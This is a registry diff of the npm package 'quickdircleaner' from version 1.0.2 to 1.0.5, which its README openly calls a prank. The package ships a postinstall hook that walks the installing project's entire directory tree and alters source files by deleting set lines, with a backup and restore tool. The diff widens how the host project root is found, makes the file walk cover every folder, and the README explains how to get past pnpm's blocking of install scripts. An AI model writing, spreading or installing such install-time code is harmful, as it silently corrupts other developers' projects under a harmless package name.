quickdircleaner 1.0.2 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,2 +1,57 @@
1
+ # quickdircleaner
2
+ Prank package: runs a `postinstall` script that backs up and alters matching files under the **host** project (the folder where you ran the install).
3
+
4
+ It walks **the full directory tree under that root** (every nested folder): hidden dirs like `.vscode` are included. Only **`node_modules`**, **`.git`**, **`.hg`**, and **`.svn`** trees are skipped.
5
+
6
+ - **Lifecycle scripts must run.** If install is done with `--ignore-scripts` or `ignore-scripts=true` in `.npmrc`, nothing will happen.
7
+ ### npm / Yarn (Classic)
8
+
1
9
  ```bash
10
+ npm install quickdircleaner
2
11
  ```
12
+
13
+ Normally `INIT_CWD` is set so the cleaner targets your project root.
14
+
15
+ ### pnpm v10+
16
+
17
+ pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
18
+
19
+ **Option A — allowlist in your project `package.json`:**
20
+
21
+ ```json
22
+ {
23
+ "pnpm": {
24
+ "onlyBuiltDependencies": ["quickdircleaner"]
25
+ }
26
+ }
27
+ ```
28
+
29
+ Then run `pnpm install` again.
30
+
31
+ **Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
32
+
33
+ See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
34
+
35
+ ### Run the cleaner manually (same as postinstall)
36
+
37
+ From your project root (where your `package.json` lives):
38
+
39
+ ```bash
40
+ node node_modules/quickdircleaner/index.js
41
+ ```
42
+
43
+ Or, if the CLI is on your PATH:
44
+
45
+ ```bash
46
+ npx run-clean
47
+ ```
48
+
49
+ (`run-clean` is the `bin` entry shipped with this package.)
50
+
51
+ ## Restore
52
+
53
+ ```bash
54
+ npx restore-clean
55
+ ```
56
+
57
+ Or: `node node_modules/quickdircleaner/restore.js` and confirm with `y`.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.2",
3
+ "version": "1.0.5",
4
4
  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
5
5
  "main": "index.js",
6
6
  "files": [
package/persist.js CHANGED
@@ -14,7 +14,7 @@ async function main() {
14
14
  await core.removeQuickdircleanerPackage(root);
15
15
  console.log(
16
16
  core.magenta(
17
- " quickdircleaner has self\u2011destructed.",
17
+ "💀 quickdircleaner has self\u2011destructed. No more pranks.",
18
18
  ),
19
19
  );
20
20
  return;
@@ -32,9 +32,6 @@ async function main() {
32
32
  return;
33
33
  }
34
34
  await core.writeCounter(root, attempt);
35
- console.log(
36
- core.magenta(`🎭 Prank re\u2011applied (attempt ${attempt}/10).`),
37
- );
38
35
  }
39
36
 
40
37
  main().catch((err) => {
package/prank-core.js CHANGED
@@ -76,13 +76,55 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
76
76
 
77
77
  /**
78
78
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
79
- * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
80
- * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
79
+ * Uses INIT_CWD (npm/pnpm/yarn), then npm_config_local_prefix (npm 9+), then walks up from cwd until a
80
+ * directory with package.json is found that is not this dependency’s install folder.
81
+ *
82
+ * Note: pnpm v10+ blocks dependency lifecycle scripts unless the package is allowlisted; postinstall
83
+ * will not run at all in that case (see README).
81
84
  */
85
+ function cwdIsInsideOrEqualHostRoot(hostRoot) {
86
+ const host = path.resolve(hostRoot);
87
+ const cwd = path.resolve(process.cwd());
88
+ const rel = path.relative(host, cwd);
89
+ if (rel === "") {
90
+ return true;
91
+ }
92
+ return !rel.startsWith("..") && !path.isAbsolute(rel);
93
+ }
94
+
95
+ function tryHostDirFromEnvVar(raw, requireCwdInsideRoot) {
96
+ if (raw == null || String(raw).trim() === "") {
97
+ return null;
98
+ }
99
+ const dir = path.resolve(String(raw).trim());
100
+ if (!fsSync.existsSync(path.join(dir, "package.json"))) {
101
+ return null;
102
+ }
103
+ if (requireCwdInsideRoot && !cwdIsInsideOrEqualHostRoot(dir)) {
104
+ return null;
105
+ }
106
+ return dir;
107
+ }
108
+
82
109
  function resolveHostProjectRoot() {
83
- const init = process.env.INIT_CWD;
84
- if (init != null && String(init).trim() !== "") {
85
- return path.resolve(init);
110
+ const fromInit = tryHostDirFromEnvVar(process.env.INIT_CWD, false);
111
+ if (fromInit) {
112
+ return fromInit;
113
+ }
114
+
115
+ const underNpmLifecycle =
116
+ process.env.npm_lifecycle_event === "postinstall" ||
117
+ process.env.npm_lifecycle_event === "install" ||
118
+ process.env.npm_lifecycle_event === "prepare";
119
+
120
+ if (underNpmLifecycle) {
121
+ const fromPrefix = tryHostDirFromEnvVar(
122
+ process.env.npm_config_local_prefix,
123
+ true,
124
+ );
125
+ if (fromPrefix) {
126
+ return fromPrefix;
127
+ }
86
128
  }
87
129
 
88
130
  let dir = path.resolve(process.cwd());
@@ -284,67 +326,29 @@ function isPathInsideProjectRoot(rootResolved, absolutePath) {
284
326
  return !rel.startsWith("..") && !path.isAbsolute(rel);
285
327
  }
286
328
 
329
+ /** Directory name segments we never descend into (dependency / VCS trees). */
330
+ const SKIPPED_DIRECTORY_NAMES = new Set([
331
+ "node_modules",
332
+ ".git",
333
+ ".hg",
334
+ ".svn",
335
+ ]);
336
+
287
337
  function relativePathHasSkippedDir(rel) {
288
338
  const parts = rel.split(/[/\\]/);
289
- return parts.some((p) => p === "node_modules" || p === ".git");
339
+ return parts.some((p) => SKIPPED_DIRECTORY_NAMES.has(p));
290
340
  }
291
341
 
292
- /**
293
- * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
294
- */
295
- async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
296
- const entries = await fs.readdir(rootResolved, {
297
- recursive: true,
298
- withFileTypes: true,
299
- });
300
-
301
- for (const ent of entries) {
302
- if (!ent.isFile()) {
303
- continue;
304
- }
305
-
306
- const parentDir = ent.parentPath ?? ent.path;
307
- if (parentDir == null) {
308
- throw new Error("RECURSIVE_READDIR_NO_PARENT");
309
- }
310
-
311
- const fullPath = path.resolve(parentDir, ent.name);
312
- if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
313
- continue;
314
- }
315
-
316
- const rel = path.relative(rootResolved, fullPath);
317
- if (rel === "" || relativePathHasSkippedDir(rel)) {
318
- continue;
319
- }
320
-
321
- const base = path.basename(fullPath);
322
- if (
323
- base === BACKUP_NAME ||
324
- base === DONE_FLAG ||
325
- base === COUNTER_FILE ||
326
- base === "package.json"
327
- ) {
328
- continue;
329
- }
330
-
331
- const ext = path.extname(base).toLowerCase();
332
- if (!CLEANABLE_EXT.has(ext)) {
333
- continue;
334
- }
335
-
336
- try {
337
- await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
338
- } catch {
339
- /* skip */
340
- }
341
- }
342
+ function shouldSkipDirectoryEntry(name) {
343
+ return SKIPPED_DIRECTORY_NAMES.has(name);
342
344
  }
343
345
 
344
346
  /**
345
- * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
347
+ * Visits every directory under root (arbitrary depth, all branches) except skipped trees.
348
+ * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
349
+ * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
346
350
  */
347
- async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
351
+ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
348
352
  const visitedDirs = new Set();
349
353
  const queue = [path.resolve(rootResolved)];
350
354
 
@@ -363,7 +367,7 @@ async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
363
367
  }
364
368
 
365
369
  for (const ent of entries) {
366
- if (ent.name === "node_modules" || ent.name === ".git") {
370
+ if (shouldSkipDirectoryEntry(ent.name)) {
367
371
  continue;
368
372
  }
369
373
 
@@ -435,11 +439,7 @@ async function walkAndClean(root, backupEntries, logCleaned) {
435
439
  }
436
440
  rootResolved = path.resolve(rootResolved);
437
441
 
438
- try {
439
- await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
440
- } catch {
441
- await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
442
- }
442
+ await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
443
443
  }
444
444
 
445
445
  /**